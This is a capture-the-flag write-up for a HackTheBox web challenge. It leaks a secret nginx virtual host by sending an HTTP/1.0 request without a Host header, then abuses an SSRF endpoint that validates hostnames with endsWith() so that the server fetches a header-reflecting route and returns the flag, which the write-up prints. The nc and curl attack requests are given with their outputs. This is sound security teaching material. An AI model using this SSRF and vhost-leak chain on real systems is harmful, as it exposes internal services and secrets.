$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Discover a hidden nginx vhost and exploit SSRF to exfiltrate the flag. Solution: Send an HTTP/1.0 request without Host header to /think, causing nginx to fall back to server_name as $host variable and leak the secret vhost domain, then use the /guardian SSRF endpoint to fetch /think with the flag injected in the Key header.
"In the dark, dusty underground labyrinth, the survivors feel lost and their resolve weakens. Just as despair sets in, they notice a faint light: a dilapidated, rusty robot emitting feeble sparks. Hoping for answers, they decide to engage with it."
Target: http://154.57.164.81:32496
Two-layer setup:
alley.$SECRET_ALLEY (default_server) — serves static files at /, proxies /alley and /think to Node.jsguardian.$SECRET_ALLEY — proxies /guardian to Node.jsGET /alley — renders index pageGET /think — returns all received request headers as JSON (header reflection)GET /guardian — SSRF endpoint: takes quote URL parameter, validates hostname ends with "localhost", fetches URL with FLAG in Key headerrouter.get("/guardian", async (req, res) => { const quote = req.query.quote; if (!quote) return res.render("guardian"); try { const location = new URL(quote); const direction = location.hostname; if (!direction.endsWith("localhost") && direction !== "localhost") return res.send("guardian", { error: "You are forbidden from talking with me." }); } catch (error) { return res.render("guardian", { error: "My brain circuits are mad." }); } try { let result = await node_fetch(quote, { method: "GET", headers: { Key: process.env.FLAG || "HTB{REDACTED}" }, }).then((res) => res.text()); res.set("Content-Type", "text/plain"); res.send(result); } catch (e) { return res.render("guardian", { error: "The words are lost in my circuits" }); } });
server { listen 80 default_server; server_name alley.$SECRET_ALLEY; location / { root /var/www/html/; index index.html; } location /alley { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } location /think { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } } server { listen 80; server_name guardian.$SECRET_ALLEY; location /guardian { proxy_pass http://localhost:1337; proxy_set_header Host $host; ... } }
Vhost Discovery: The /guardian SSRF endpoint is only accessible through the guardian.$SECRET_ALLEY virtual host, but $SECRET_ALLEY is unknown (set at Docker build time via ENV SECRET_ALLEY=REDACTED and substituted with sed).
Flag Exfiltration: Even with access to /guardian, we need to make the SSRF send a request that leaks the Key header containing the flag back to us.
/alley proxy (/alley/../guardian, encoded variants) — nginx normalized all paths before proxying$host VariableThe nginx config uses proxy_set_header Host $host;. The nginx $host variable resolves in this priority order:
GET http://example.com/path)Host header valueserver_name of the matching server block (fallback when neither of the above is available)HTTP/1.0 does not require a Host header. When nginx receives an HTTP/1.0 request without a Host header, it matches the default_server block and falls back to using its server_name as the $host value — which it then forwards to the backend via proxy_set_header.
The /think endpoint reflects all received headers, so it will echo back the Host header that nginx set — revealing the full server_name including $SECRET_ALLEY.
Send a raw HTTP/1.0 request to /think with no Host header:
printf 'GET /think HTTP/1.0\r\n\r\n' | nc 154.57.164.81 32496
Response:
{"host":"alley.firstalleyontheleft.com","x-real-ip":"...","x-forwarded-for":"...","x-forwarded-proto":"http","connection":"close"}
Result: SECRET_ALLEY = firstalleyontheleft.com, so the guardian vhost is guardian.firstalleyontheleft.com.
With the vhost discovered, access /guardian with the correct Host header and exploit the SSRF to make the server fetch its own /think endpoint (which reflects all headers, including the injected Key header with the flag):
curl -H "Host: guardian.firstalleyontheleft.com" \ "http://154.57.164.81:32496/guardian?quote=http://localhost:1337/think"
The attack chain:
guardian.firstalleyontheleft.com Host header to the second server block/guardian route receives the request with quote=http://localhost:1337/thinknew URL("http://localhost:1337/think").hostname is "localhost" which passes endsWith("localhost")node-fetch sends GET http://localhost:1337/think with headers: { Key: FLAG }/think endpoint reflects ALL received headers back as JSON — including the flagResponse:
{"key":"HTB{DUsT_1n_my_3y3s_l33t}","accept":"*/*","user-agent":"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)","accept-encoding":"gzip,deflate","connection":"close","host":"localhost:1337"}
Use this technique when you see:
server blocks and unknown server_name values — try HTTP/1.0 without Host to leak the default server's server_name via $host fallbackproxy_set_header Host $host in nginx config — the $host variable has a three-level fallback that can be exploitedendsWith() — localhost passes trivially; also vulnerable to subdomains like evil.localhostnode-fetch with custom headers — headers sent by the server-side fetch can be captured by a header reflection endpoint$host fallback is a real vulnerability — when no Host header is present, $host resolves to the server_name directive, potentially leaking secret vhost configurationsendsWith() hostname validation is weak — it allows the exact string ("localhost") and any subdomain ending with it; always use strict equality or allowlists for hostname validation$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar